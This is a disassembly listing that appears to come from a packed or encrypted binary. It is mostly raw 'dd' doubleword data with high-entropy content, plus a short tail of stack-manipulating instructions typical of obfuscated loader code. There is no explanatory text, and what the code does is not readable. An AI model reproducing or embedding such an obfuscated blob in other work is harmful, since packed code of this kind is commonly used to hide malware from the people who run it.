		dd 22850F00h, 0C6000000h, 14084985h, 0F4685406h, 0FFFF4EBEh
		dd 140C2DB5h, 0FE858D06h, 0FF061778h, 18589D0h,	8B06142Eh
		dd 0E93E80F0h, 3A850Fh,	0B58B0000h, 6142E01h, 8E34858Dh
		dd 0D0FF0619h, 3169BD8Bh, 0C7810614h, 1184h, 8B08C783h
		dd 142E01B5h, 0B9F78706h, 8, 0B58BA4F3h, 6142E01h, 293E858Dh
		dd 0D0FF0618h, 858DC361h, 61C3B05h, 209D8589h, 8D8D0614h
		dd 61C3C9Dh, 0BFD958Bh,	8D890614h, 6142B69h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 50C35242h, 0E5396F70h
		dd 0C7842759h, 14105585h, 6AF006h, 3D85C700h, 61401h, 1000000h
		dd 140A4D95h, 0B1B5FF06h, 6A061404h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FDCAC350h
		dd 0BD995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 3CC48C3h, 6A77B6h, 297195FFh, 0C08B0614h
		dd 3BD47CEBh, 98F0E1A1h, 0F1D87ACFh, 234222E7h,	0B545BBF9h
		dd 9F1F3FABh, 0AEC2218Ch, 2AD2FB09h, 0ABFEE5CCh, 3F3AD4Eh
		dd 0BDDD566Ch, 885F6A46h, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h
		dd 770A5B3Bh, 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh
		dd 6363A5C3h, 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h
		dd 0A5291B0h, 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0D5F7903Ch
		dd 7C113451h, 1FE91E15h, 7000000h, 520CBD3Fh, 6C416C74h
		dd 61636F6Ch, 65486574h, 7061h,	1400h, 0
		dd 0D9E90000h, 68000010h, 61C3F4Ah, 0F8438FE9h,	405568FFh
		dd 85E9061Ch, 68FFF843h, 61C42E2h, 0F8437BE9h, 43F068FFh
		dd 71E9061Ch, 68FFF843h, 61C46A5h, 0F84367E9h, 474168FFh
		dd 5DE9061Ch, 68FFF843h, 61C4780h, 0F84353E9h, 488868FFh
		dd 49E9061Ch, 68FFF843h, 61C4966h, 0F8433FE9h, 49D768FFh
		dd 35E9061Ch, 68FFF843h, 61C4B59h, 0F8432BE9h, 4C8168FFh
		dd 21E9061Ch, 0D8FFF843h, 0B631F5A8h, 8B141895h, 66010580h
		dd 7EE92D68h, 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh,	47F8B14h
		dd 36656700h, 0FB2487F2h, 55ECAF48h, 670488CBh,	79063665h
		dd 5B245447h, 3B44742Fh, 1A659510h, 0C185B5E8h,	143BFF16h
		dd 8DBFCE25h, 929DAC09h, 321653F0h, 0BADED9F5h,	0A7DAE976h
		dd 0CBC2C463h, 0E39AACB3h, 0F286671Fh, 63925CD9h, 0A11C49DCh
		dd 0E4833504h, 48CA4E55h, 0EE9DAF38h, 0CC73B2CAh, 2E55E483h
		dd 1F55C82Fh, 9BB61316h, 0B46AEE1Eh, 3C798A0Dh,	55E4410Dh
		dd 6D9E8286h, 0E44171C0h, 848EF255h, 0A95B36E4h, 36408Bh
		dd 7AD50000h, 11B7BAEAh, 0FBC20C93h, 55E46148h,	1E2E5F60h
		dd 0B042C6BAh, 1B61804Eh, 6CD747E0h, 242849DCh,	9CAA9514h
		dd 8D4855E4h, 9AC61466h, 0E0D08BA8h, 0DC000000h, 6366567h
		dd 0E7404A79h, 53F09254h, 32E4194Dh, 2E629135h,	0A594112Ah
		dd 3E53F029h, 7906365Ah, 58275447h, 9CA87726h, 0A76DE9E1h
		dd 57467807h, 2CD28AD3h, 92B453F0h, 7688171Bh, 45384910h
		dd 0B988D135h, 3A53F052h, 0C1BCC956h, 0D435ADDDh, 6834DD52h
		dd 1628A792h, 0CFF35767h, 577B3250h, 0DD6CC924h, 5653F01Bh
		dd 148720F2h, 0B57F3A55h, 0DCF31E38h, 6FB39749h, 8982F617h
		dd 3702A31Eh, 4C55E433h, 264B4AC8h, 8E4FCB6Bh, 58DAD1FFh
		dd 48172428h, 27C04439h, 0E7B27528h, 9F63043Bh,	0E121D2Fh
		dd 1D2D0000h, 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh
		dd 0EEC249CDh, 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah
		dd 0C978A504h, 4A55ECADh, 68678709h, 5476F135h,	801FD559h
		dd 75E01B61h, 42DDD8F6h, 0DA3E4E43h, 6CCD5D58h,	0F90649DCh
		dd 5EBAD2CDh, 9CA3023Ah, 0BC55E49Ch, 64FB138Ah,	0F9B4D062h
		dd 292145C1h, 0A3678E51h, 22304786h, 8BA89AFCh,	0F34EEF5Ah
		dd 7055E490h, 0C365060Ch, 0A000000h, 0D85A5173h, 36656756h
		dd 0C3DF9506h, 796160D8h, 0DBD6F532h, 0E838259h, 95E1BFFEh
		dd 0BFC153F0h, 0ADDF48CCh, 0B756CEFEh, 0C96DCAC1h, 6249DC7Dh
		dd 9B6A1A1Eh, 4042F416h, 0B5D93D4Dh, 6CEF0185h,	3E4779ACh
		dd 56C1FA1Eh, 7787F617h, 0DDBF1D13h, 0B5BB141Ch, 0A50C7E7Fh
		dd 1054FCBh, 231E9F0Ah,	0E75FDA64h, 0DA648B46h,	0B004085Fh
		dd 0E66546CCh, 1566AAE7h, 4E7E3B56h, 749348CAh,	8F35F639h
		dd 5DCD6304h, 0D074Fh, 9F123200h, 82FB0C9Bh, 0ABE6E17Eh
		dd 0D3CAF867h, 0FCB1D04Fh, 2999B338h, 4A3671Ah,	1D8A8E07h
		dd 0F572B6F1h, 3954D8D3h, 0D2D665C2h, 266D55ECh, 356867E2h
		dd 595476F1h, 65671FD5h, 0FFA05321h, 0F32AA885h, 0F0965FEAh
		dd 4C70D453h, 92B0CF3Ch, 4042191Bh, 0BD80C94Dh,	9D53F096h
		dd 0C4BFCB6Bh, 0E82C50B4h, 2E5E4D7Fh, 4F7C2F51h, 6D9E0F30h
		dd 0F09671C0h, 848EF253h, 2A418E38h, 6EB2E91Bh,	94911CC2h
		dd 0AEBA85h, 80760000h,	0ABE2E061h, 92241790h, 0DBBF53F0h
		dd 522984B7h, 0C94D7D30h, 92C675B2h, 0F95D53F0h, 72C8BA3Bh
		dd 64149DCh, 56668A07h,	0E4B268D7h, 244B8A55h, 0A8A908D6h
		dd 72968Bh, 0B9020000h,	53F09285h, 65C2A342h, 53F092D6h
		dd 0B6C5E96Dh, 0E6ADCFBEh, 0DA584F0Bh, 1E67EE9h, 136B54C6h
		dd 7F97060Ch, 0F049DC9Eh, 0DFE07F8Ch, 0F83A9EAEh, 0EDA0AF38h
		dd 0F21F6EDDh, 0A44579BBh, 787ABBD0h, 0F14FC99Ch, 0F21E898Dh
		dd 0CE1F87B7h, 762481BAh, 0C845F56Fh, 0EF1F92B1h, 0F559A96Bh
		dd 8D3FB31h, 0B1C80000h, 41EE1D90h, 41CDB3F2h, 1D070D71h
		dd 19E4FD8Bh, 5A722B5Ch, 279F28FEh, 13F2CA48h, 49C95665h
		dd 0AA49DC3Fh, 0EDF95A6h, 67222EDCh, 583DF357h,	357183FCh
		dd 0E48749F4h, 570AB55h, 0E487A998h, 0EC262A55h, 44EAE80Fh
		dd 528BA89Dh, 17h, 9286B95Eh, 8F5D53F0h, 0FFFFFC13h, 0B584219Ch
		dd 0CE53F092h, 8046C84Ah, 0A9E4E061h, 0D297685h, 0A649DC6Fh
		dd 340BAAA2h, 0D655E49Fh, 3E4DE037h, 0FD9D9712h, 8BA8952Fh
		dd 4C84Fh, 0C461DC00h, 55E49775h, 6E9D8A8Eh, 75BF1B33h
		dd 0D2F48BF3h, 4BFB59DBh, 592F4C9Dh, 111ED435h,	34074609h
		dd 0ED53F041h, 0E1B85C13h, 0EA6E22B9h, 0DD5AB5C6h, 53F0C26Eh
		dd 109361E5h, 0DC3B6397h, 9BACB349h, 7A9CEAE2h,	0D82E51C3h
		dd 1B6FA5C9h, 0A1C5C0CCh, 0AC15CB68h, 2E992BB9h, 2AB2B281h
		dd 0C74D31FCh, 516A1EEFh, 0B28AB9E6h, 509FC2Ah,	0D641BC0Fh
		dd 2AB2FA49h, 1F1579FCh, 66F409Eh, 8687C6E6h, 61E51D17h
		dd 6410F169h, 5671D657h, 6CE2FC31h, 3AB9A412h, 32496DB7h
		dd 8C931C2Bh, 5469D947h, 60E41438h, 0AC7FCA6Bh,	90F4EFF5h
		dd 0BEB62182h, 630EC0A7h, 45404B05h, 67ADD135h,	0EE1C96A8h
		dd 108F93B7h, 0C178BFEEh, 59B32A58h, 0A7AD3E1h,	85850000h
		dd 6899060Ah, 5B76F135h, 3F4DDA5Eh, 2827C044h, 62AB175h
		dd 181C91B0h, 70B828Fh,	0ED316C98h, 0D95D5072h,	51E04DBCh
		dd 0D255ECD0h, 65677FA1h, 4F9E0636h, 59A50239h,	0D249DC75h
		dd 387395h, 1B367784h, 9855E4B5h, 0E47B90B4h, 596AA8E5h
		dd 0B28696EEh, 0BF3502Dh, 7B365209h, 931C28B7h,	5856520h
		dd 183054BBh, 0E410AA99h, 0E0E15C55h, 0C72655E4h, 502F9AB1h
		dd 3ABB7934h, 4FC8FD48h, 0BF8A2B86h, 345FD80Dh,	0A2A6C250h
		dd 0D340BAAh, 37D65FD8h, 2B4C92E0h, 386A91BDh, 0FF000000h
		dd 1E2E5F60h, 205B6DBAh, 618068D2h, 4747E01Bh, 0FF49DC49h
		dd 132B6260h, 265768B7h, 60B216h, 139C0F3Ch, 55E4B920h
		dd 6A2324A3h, 40D2F652h, 275664h, 80DC0000h, 47E01B61h
		dd 49DC7647h, 10238CFFh, 9355E4B6h, 2E1D65AFh, 0E4B6B281h
		dd 9DBF3155h, 6C55364Bh, 526A8EB2h, 36656758h, 2F8544F1h
		dd 0BE8CFC6Fh, 96Ch, 47797h, 0F3376667h, 0D85C5974h, 0C64A414Fh
		dd 0B3772A59h, 8FBE0428h, 74910E12h, 5E6AF539h,	3E40DF23h
		dd 53AECB4Fh, 0ECD167D2h, 6D57FC55h, 0E01B6180h, 0DC910B47h
		dd 0EF48BB49h, 55E4915Ch, 41A173D7h, 90B2CDFDh,	6E50191Dh
		dd 0ABAC3F5Ah, 96EE325Eh, 0AD0A0177h, 6483482Dh, 0B5CAC246h
		dd 6D151994h, 52D3E89Ch, 7AAF0DA0h, 28636FFEh, 82BA9EEAh
		dd 77FD1C23h, 900D3C6Ah, 0B6E5E778h, 0FE15C286h, 0C72E2934h
		dd 1BF7658Bh, 11A71BFh,	80BF0000h, 47E01B61h, 49DC910Bh
		dd 1C6398FCh, 407CB6EFh, 77E8CD3h, 98B0ED18h, 2759F63Ch
		dd 1537B074h, 0EBD75666h, 0ECAC3F5Ah, 0ABDDEC03h, 91B32CF0h
		dd 2976E11Ah, 7EAFAF1Ah, 4F7FB599h, 7464DCEEh, 0C0D70687h
		dd 0FF0C7F81h, 635C5669h, 9A1B9C4Dh, 75A27AFh, 0F63C2024h
		dd 0E8A3A542h, 0B7F063D0h, 75A2784h, 0CAC3C01Fh, 8C586CA6h
		dd 0FF6ACBC0h, 74075A27h, 95740C10h, 0E79D4E7h,	5A2792A1h
		dd 0E72D1107h, 76C184F6h, 91A9AD1Dh, 29EC5222h,	373A607Fh
		dd 611C2EFDh, 0BBF2136Ah, 1C2EB979h, 1A326F9Ah,	0C3629ABEh
		dd 94E8158h, 2F0269C8h,	40783550h, 6F914EC4h, 20B1F83Ch
		dd 0EFBDA248h, 3DAA6E1Ah, 0E47B900Bh, 5A6AA8E5h, 3AB9D8DBh
		dd 0C52C8B06h, 0AA011A6Ah, 93AB38B4h, 0A5358E90h, 42D0F46Fh
		dd 0B007B8Dh, 730EC67Dh, 6CA6AFF7h, 92093BA4h, 119E097Ah
		dd 6A90722h, 5F57DDA1h,	64C1FA8Eh, 1C85F782h, 9953D7BBh
		dd 35h,	0FDB0DFAEh, 41CB49CDh, 0E01B6180h, 0DC494747h
		dd 0A4D4B849h, 2FF3AADBh, 0D04B6B9h, 317E8DF9h,	55E4BF1Ah
		dd 77C263DEh, 8C55E4BFh, 385C5773h, 0CF8A8EFAh,	99FD8B45h
		dd 168DBB90h, 6B062A00h, 26D0F2A9h, 0C0446825h,	205B21C0h
		dd 0E176BFB5h, 4354945Fh, 0CC52C4B1h, 0B0AB49DCh, 0E472C477h
		dd 25FB5F55h, 34FEF4CDh, 0B2C9EDDDh, 20E49FABh,	0F8108B87h
		dd 0E01B6180h, 55E4FF75h, 6426BD41h, 38D32FAEh,	0F0544FC8h
		dd 0D8884DBh, 2B9B99FDh, 0D811B38Ah, 1C95745Fh,	7A91B5F0h
		dd 0F4EC493Dh, 4E7EC245h, 0CC0250EFh, 3C53B241h, 0D11CF03Eh
		dd 3F8E97h, 802A0000h, 0FDC0E961h, 0EE8EB791h, 0C7A3B1CAh
		dd 0EF75E48Ch, 52D3EC26h, 49DC9854h, 793452ADh,	0A9A1C541h
		dd 6F26233Ah, 4725FB5Fh, 0DA126486h, 17DF49CBh,	0EC000000h
		dd 0FF57EC94h, 8C86C9DFh, 1B61808Ah, 764747E0h,	0D4B849DCh
		dd 65678EA4h, 854EF136h, 86F66F2Fh, 6B7B4h, 0CFC2C200h
		dd 0F2ABDC4Bh, 1B96B12Eh, 37A8817h, 2C6160FFh, 0F94963E8h
		dd 0D453D7CAh, 0AD3AFEB7h, 8522E6A1h, 69040883h, 0D4A69512h
		dd 963D55ECh, 0AA571E12h, 0CDFDB8D3h, 12F3CB49h, 0F5165566h
		dd 0E2DC66B8h, 516AF2F7h, 3347E0C3h, 8349DC78h,	5CD6CFFCh
		dd 7AE92024h, 46DD77EAh, 858F1CD6h, 3B53F908h, 1F2E3D13h
		dd 0CD1C9062h, 3E4E4744h, 1885B6DAh, 8187AA12h,	8E070443h
		dd 1BEA526Ah, 0B8D15E6Dh, 0BB87B38Eh, 0A3A5A4D7h, 89BB24E8h
		dd 79740D12h, 9C0C9AABh, 61B8Eh, 6B262600h, 960738A7h
		dd 0BFFA1592h, 0A7DEEC7Bh, 0C8C5C463h, 25EDC744h, 38A76B26h
		dd 118E920Bh, 0E976BAF5h, 3560A4D7h, 0D5DA69B6h, 3A5955ECh
		dd 366567F6h, 2F8562F1h, 90A21A6Fh, 5DCh, 70B4E7E7h, 63A7D6F7h
		dd 48CCC9C4h, 36FAB1DFh, 23E79AA9h, 0FF0EB498h,	0E4E17E82h
		dd 0CEFA65A9h, 0AED04FD3h, 0E35E3BFFh, 0ECD5F742h, 0DDC70C55h
		dd 6366567h, 5BCB4F9Eh,	4BC1F009h, 0D05D6E92h, 49D4EB54h
		dd 1D65A9ADh, 330EAFCCh, 0B055EC63h, 1293A8CCh,	4FC0617Ch
		dd 387991F5h, 5FC06105h, 1E1178E7h, 3048434Fh, 6CB25ED4h
		dd 0A91C57Bh, 0D1h, 3003AC1Fh, 0B35FC079h, 1EC345CFh, 295FAE58h
		dd 0A9D8A712h, 0B240C4F4h, 0DC6BB7C3h, 0B7C44849h, 80B9BA1h
		dd 25217C89h, 0D2F6526Ah, 0A384A540h, 9804FB35h, 9D080349h
		dd 0A9A38CC7h, 0D48014B3h, 331B0D5Eh, 67B46A36h, 0FEC4267h
		dd 387667ADh, 7E9CC776h, 93ABE2EFh, 8185FD37h, 7FF01189h
		dd 0AA2E5E4Dh, 0DAF67586h, 5D6D2824h, 6C5FD5F9h, 0F07E7AC3h
		dd 7A91F592h, 900DC5EAh, 4FC5BC9Ch, 0A0DBED7Ch,	0CAC1C35Ch
		dd 0E89AC045h, 5A68C08Dh, 4D4h,	68ACDFEFh, 5BDFCEFFh, 40C4C1CCh
		dd 2EF2A9A7h, 1B1F92B1h, 0F716BC90h, 0DCE976BAh, 0C6C25DA1h
		dd 0A6D847CBh, 0FB4633F7h, 0ECDA8FBAh, 0C5CF0455h, 0D92Ah
		dd 6362F900h, 78BA1E2Eh, 1B6180F6h, 0C86E99E0h,	0ADDDC1BCh
		dd 42C57DBh, 0BBDF3EBEh, 77E14E79h, 0CB49D448h,	0C66CDF58h
		dd 604555ECh, 2CB9C951h, 0E2301468h, 1E898286h,	0EC61A291h
		dd 17C8A55h, 6FD33B4Dh,	0BC21EBF8h, 52299A98h, 2EB97D30h
		dd 0FF6A611Ch, 0EC6A83BEh, 6BE64755h, 0E855EC6Ah, 91DE1064h
		dd 30BCB4FFh, 424ED9FDh, 41D33747h, 98ECFD65h, 0B3EA1C63h
		dd 0C8C5C49Bh, 0E23054B0h, 597264C1h, 7C8B4FC0h, 1F2F534Ah
		dd 193246A7h, 0ECA5F69Ch, 7BE97F45h, 78A258C5h,	3DB87F63h
		dd 555CEB62h, 3F6D7E5h,	1010000h, 0EC1D8A8Eh, 0D7F26DB1h
		dd 0BBC956DAh, 0A4A33CC0h, 0B2A625E9h, 84880504h, 73B7EE1Bh
		dd 59DDD8F4h, 3DC1BCCEh, 0FD4CE950h, 7655ECDBh,	8AB9DBDDh
		dd 7C53F092h, 53F092C1h, 0F7C9770Dh, 0CAE19D6Ah, 44742F5Dh
		dd 6B7A32C0h, 0E196EE1Dh, 0A53FD494h, 2C893AF8h, 49D48D28h
		dd 5ECDFD41h, 888A010Fh, 35FAB1D3h, 691275C4h, 85BE8CFCh
		dd 0B0000003h, 8E191D90h, 63FC007Dh, 7EE92D68h,	56D15550h
		dd 35B67A37h, 1994B303h, 7D8A15h, 2C6763FCh, 5E4D7FE8h
		dd 0E34CBFDAh, 55ECDB50h, 8B7CA0D3h, 0D10678FDh, 0D55F1784h
		dd 71890406h, 1A9BF809h, 53F0EC2Fh, 8FBCA0A4h, 0DC39982Eh
		dd 0F1351949h, 0BEF2BAA8h, 0A4017CAFh, 782E7695h, 0BA0E8985h
		dd 808F5CD6h, 6F9E090Dh, 47A21A32h, 4E7B0239h, 0C1E5A0ACh
		dd 13C74DC9h, 366567C1h, 54477906h, 0A8A4BBD0h,	7E8F27EDh
		dd 0FAB4F10Ah, 7349DC63h, 8FBEFF0Fh, 6D55E483h,	0A14F8BE2h
		dd 3D8BA899h, 50h, 0C6180FBh, 0F09290A3h, 0B2F1353h, 291885F0h
		dd 0AA53F092h, 92C574B1h, 0FA5E53F0h, 0C2635CD6h, 49DC6C54h
		dd 2291A9ADh, 6311C852h, 3D4E3E8Fh, 0E4F541F0h,	0B47EC255h
		dd 0E4F50639h, 0A6A5E455h, 4724EEABh, 0F3FC2230h, 0EC9A8BA8h
		dd 16000000h, 6366567h,	0EFA54A79h, 4770DC2Ah, 6AF50529h
		dd 4A152558h, 0CAC14538h, 8F63DE5Fh, 6A753F0h, 53F08FCBh
		dd 8CF0C448h, 0F53F7693h, 0F08A24F8h, 9848653h,	0C79062F2h
		dd 6F3538BBh, 5072EDA5h, 54B52D5Dh, 0C08A2B20h,	2949DC6Bh
		dd 40A1E125h, 0B940734h, 55E4D338h, 625DD7BBh, 0CB8BC1C5h
		dd 25563A4Fh, 1B92B3CAh, 8C86FF0Ch, 406B0DFh, 0F1157189h
		dd 62648ADAh, 5F0E0837h, 83821DD5h, 0B0A2090Eh,	62DA6304h
		dd 20350h, 930E3E00h, 0BEEF108Fh, 0A7E2ED7Ah, 0CFC6C463h
		dd 0F0ADDC4Bh, 3D85AF2Ch, 108F930Eh, 0E976BAF3h, 0C15EA2DDh
		dd 2D48CCBFh, 0D9E251DEh, 0D26155ECh, 356867EEh, 42FF4E06h
		dd 9ACAA056h, 0BD19316Ch, 40DF9B99h, 1B92B43Eh,	484367E3h
		dd 8D9A1531h, 440C0681h, 0E85BC437h, 6B53F023h,	802B2DE7h
		dd 90A30C61h, 1353F092h, 0B7F00B2Fh, 49DC6CA7h,	85245438h
		dd 55E49CBAh, 456BD58h,	8BA89AD6h, 0E4E0h, 0D7F67500h
		dd 0EC26A2DAh, 3665676Ah, 404A7906h, 0AFA50430h, 3A03EB54h
		dd 53F08F0Fh, 6A678084h, 9BBF1B33h, 8A1AC263h, 4A7C53F0h
		dd 1F213853h, 4035C6Ch,	89BA6589h, 215A1E14h, 7D8B2D5Ah
		dd 7B10E206h, 0C93A5249h, 1A1895B2h, 63543A2h, 0DC55D599h
		dd 0F63A1E49h, 0E1FB7F8Eh, 4E454399h, 9E44DA3Eh, 0F03ECD78h
		dd 92354B1Bh, 0C6314A6Eh, 0A7008687h, 55E44894h, 0D072B2Fh
		dd 0CB2D6780h, 87B4984Fh, 0F326C9F8h, 7B634215h, 2C6F09CAh
		dd 1D016A58h, 9BAA35F9h, 3FC421E6h, 6CDC6304h, 0DB5Eh
		dd 0ABE6E600h, 0D6C7F867h, 0FFBAD552h, 0E79EAC3Bh, 8858423h
		dd 0E5AD8704h, 0F867ABE6h, 0D14ED2CBh, 0A936FAB5h, 7520E497h
		dd 0DE9AA9F6h, 0FA1955ECh, 35686736h, 0C5C39AF1h, 0D85ABECEh
		dd 868A0103h, 0C465674Ch, 275411F5h, 0BCCCF024h, 9E0F304Fh
		dd 0D6C5C794h, 5EDF4AA5h, 53F0D9E3h, 6EDD1C60h,	0E553F0D9h
		dd 9FE79361h, 96013A4Eh, 33C1BCD7h, 0D414D642h,	1C2F1349h
		dd 0EE8B7B44h, 0A66C7837h, 54477906h, 0A9A4BBD0h, 576926ECh
		dd 7BA41724h, 55ECC0C8h, 0A5D2354Bh, 58FF89F7h,	6FCEFE34h
		dd 4B4DA672h, 24638A65h, 38A76B22h, 18679706h, 403D48EAh
		dd 38532C5Ch, 11324D7Dh, 9F386C9Ch
		dd 0AE8DB278h, 97063847h, 0BBF21493h, 0AB183h, 8B3F0000h
		dd 0AFDFD6F4h, 0DBD9E92Bh, 4346767h, 3A52497Bh,	5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 5A54521Fh, 4C281h, 0EA830000h, 24148704h
		dd 0C56685Ch, 1C890000h, 0E0895024h, 405h, 42D00h, 4870000h
		dd 3C895C24h, 0E2685224h, 5A32DD6Ah, 8104E2C1h,	9B624CCAh
		dd 0AAEA817Eh, 811EA806h, 0DCACD6F2h, 5AD3897Dh, 74FFEB81h
		dd 434B3F31h, 0DBF7D3F7h, 0EBA9F381h, 8B54DBA5h, 0C483243Ch
		dd 0BA525304h, 15AA5F5Ch, 4245431h, 8478F5Ah, 5C087781h
		dd 8B15AA5Fh, 8956243Ch, 4C681E6h, 83000000h, 348704C6h
		dd 34FF5C24h, 0C4835B24h, 32C6E904h, 310BFFF8h,	9AC1661Eh
		dd 1C4D81B8h, 0FFC50306h, 9699F6E0h, 6AAEF53Ah,	0E7E8615h
		dd 0CBF2F950h, 7D048041h, 0B7ED543Bh, 688F3A13h, 0EF3F980Dh
		dd 7618190Bh, 591FFB4Ah, 58084243h, 9B7DC22Ah, 7EEED157h
		dd 80393547h, 275CD19h,	6634B422h, 0CD69BC10h, 0F5BB672h
		dd 0A61B807Fh, 9DD26B75h, 0E729B360h, 8BDAA85Ch, 0A4EFDE0Fh
		dd 92978465h, 0F3004573h, 6C50B80Fh, 0CB77166Fh, 0FBF14A3Dh
		dd 2F0BDC14h, 0F6CE834Ah, 0AFF6140Dh, 1DE915h, 25D70000h
		dd 6162h, 5 dup(0)
		dd 0E9000000h, 53Eh, 1CE09BABh,	70B8283h, 0EC306D98h, 0DA5E5573h
		dd 0BF433E4Dh, 9BAA183Ch, 888522E6h, 729E090Dh,	5274F337h
		dd 47BAD75Bh, 0ECDC6BE6h, 61ABE855h, 6366567h, 0D3574A79h
		dd 51E04DB8h, 0D253F092h, 0D5F7A46Eh, 0FD3A95A6h, 53F0924Eh
		dd 0F3B341C5h, 28235A6Ch, 0B67C2F51h, 255869F6h, 6F867115h
		dd 0BB7F2E50h, 6F9E202Ch, 6EFD0E32h, 27D3215Ch,	0FA118CB8h
		dd 11296463h, 304F7FB5h, 0E5629A13h, 0A4A0DF36h, 88BA25E9h
		dd 0FA44E515h, 0D853F092h, 85DAF2ABh, 47F30B86h, 0D159E108h
		dd 559BD73Eh, 6185948Ch, 70h, 0A2FD8B4Fh, 36739E9Fh, 9718CEE0h
		dd 0C1BCCE9Dh, 0A1D768C9h, 0D2F353F0h, 0ADDCA3DBh, 0DF80D8F0h
		dd 0C5AA72B8h, 0BF7EACAEh, 1188594h, 94000000h,	7376667h
		dd 0FEB9D594h, 13C84ACEh, 0FC83BBF2h, 64212CCEh, 0A30C4840h
		dd 910C3D4Ch, 646FFE8Dh, 5A21129h, 53F09236h, 6FA5C94Dh
		dd 1B1F8EB0h, 4BEB1960h, 2D5D413Ch, 514C7EA9h, 0ED57DD39h
		dd 0BFCE6867h, 92F948D5h, 167A53F0h, 0A1BECEF2h, 2BDDEDA0h
		dd 474685ECh, 1B2A314Ah, 7BE4AC66h, 253A5249h, 0C25F6F2Ah
		dd 2A31EC03h, 0C991631Eh, 85948B33h, 0B5F01C63h, 0AD0A0185h
		dd 0AC0F649Eh, 0E33115h, 7Eh, 356867ACh, 524F7A05h, 5AB11E3Ah
		dd 6A611C2Bh, 4546F813h, 0B0D43048h, 1A29B662h,	0FA085767h
		dd 2C504D78h, 3003AC1Fh, 0B353F092h, 247945CFh,	0EC5FD239h
		dd 19316C9Dh, 928DBCBDh, 20653F0h, 8AD268F0h, 5BCC8594h
		dd 0E8000000h, 0BFCE6867h, 5E4F4B30h, 375B79BAh, 6C9F8307h
		dd 1BF3B714h, 7A7FB1ECh, 15882B7Fh, 683FB1ADh, 61FECE44h
		dd 66122A65h, 8483C229h, 0B5D9D4F2h, 0FD8BA371h, 0A3166C25h
		dd 0B7EE1BB4h, 0B9CA8193h, 3847B4C4h, 109D9706h, 53F01F2Eh
		dd 0C5157C13h, 85951A17h, 1A7h,	0FD8B0D00h, 0D8361405h
		dd 0F11E0958h, 0A6A17EB4h, 7A8CD3EBh, 0AD8C0B03h, 910C0746h
		dd 6014F58Dh, 9168F86Bh, 0DD7C20DBh, 206E6FA5h,	8649DC90h
		dd 90BF8A2Bh, 0A23455E5h, 5C9DA62Eh, 0A96B8FC4h, 0BAC5F559h
		dd 96111588h, 0C8C5C274h, 183054B0h, 0E57FA499h, 960AF55h
		dd 0A6D5C8FAh, 8FA0AFAEh, 0CC160883h, 5B1F15DCh, 672B5920h
		dd 0E5B70BC6h, 60848855h, 1133EC68h, 2CE6629Ah,	2E5E4D7Fh
		dd 4C7C2F51h, 0E936A19Ah, 55E5B75Ah, 0D0BF75D9h, 0AA0B66B9h
		dd 55E5B79Fh, 2DE23014h, 550A921Bh, 3D48DAA1h, 73B91519h
		dd 38BA9EFh, 156h, 1B6180A9h, 4A1A75E0h, 955B93F0h, 635348Fh
		dd 9D53F046h, 0FC7A7BB9h, 7549DC44h, 6163FA11h,	7CB6122Ah
		dd 6C0D3F40h, 0B66DD44Eh, 0A1A103F9h, 83425A0Ah, 4F77899Fh
		dd 0EC0D3B5Ch, 0C43744C8h, 0E4B6E85Bh, 0CEBFC055h, 19665ABEh
		dd 3C98B0EBh, 43451A18h, 1D2F3048h, 6BA85E6Eh, 0C8C3C504h
		dd 0B042E844h, 595C8BA8h, 58000000h, 0EC1F6580h, 0F0929043h
		dd 0DFEF53D3h, 0F092E35Eh, 0EC03CCD3h, 0EC732331h, 4779EC58h
		dd 1968CACBh, 0EC264A55h, 34470DD8h, 60981335h,	229D2EE4h
		dd 79EDD252h, 5BD9C80Eh, 0F0238F5Ah, 56D74453h,	53F023FBh
		dd 2CF01478h, 9DFEh, 0D552CD00h, 53F02366h, 919B99FDh
		dd 0D8D5F48Bh, 0F583625Ah, 178687C6h, 4105A21Dh, 0BA49DC6Ah
		dd 0A7D9A6D6h, 86B8C7F4h, 8D63E717h, 0B883EB36h, 9D55DF75h
		dd 5B760002h, 86AA2E5Eh, 0D9D4F675h, 0DFEF25A1h, 0B4EF1D6Ch
		dd 0FA225362h, 69ABA6F2h, 0E41CD06Ch, 0F762D955h, 0E4029BB6h
		dd 0FE341855h, 0B9CBFA11h, 0A7463EC2h, 687DBAD1h, 0E34FC0BDh
		dd 0F21D6C9Fh, 0ED0387B7h, 78F845D3h, 0DBEB2954h, 0F30B8284h
		dd 0D84EA594h, 0EF484309h, 45E453FAh, 0DDD0F20Dh, 0F60529ADh
		dd 0D3215C77h, 6180ED27h, 5247E01Bh, 0E249D42Dh, 0FF35709Bh
		dd 0E877878Bh, 3994A7D6h, 0ECDD4DFCh, 0B042C655h, 36656700h
		dd 0B8D69506h, 0B4637FDh, 18EC6A4Fh, 86C558BFh,	540B0984h
		dd 39407B32h, 0E367970Ah, 5A2A6111h, 64F6F447h,	0D18DCFC2h
		dd 0D89BC254h, 0EB1DB240h, 68CD9BB0h, 763C195h,	0BBC4E032h
		dd 61E6168Dh, 1A2C5BB2h, 0F5116863h, 2FB878BAh,	4C5E6E1Dh
		dd 3, 67A68CEAh, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h
		dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h
		dd 148368h, 241C8900h, 0C381E389h, 4, 8704EB83h, 685C241Ch
		dd 1FC5h, 68240C89h, 3F13h, 57241C89h, 4935C1BFh, 0BCEF814Ah
		dd 833BE863h, 0EF81FFC7h, 73F42CEDh, 5F1FCF81h,	0C7817515h
		dd 69E4FADh, 545FF989h,	81241C8Bh, 4C4h, 8BA5200h, 1000000h
		dd 28F51DAh, 241C8B5Ah,	81E18951h, 4C1h, 4C18300h, 5C240C87h
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
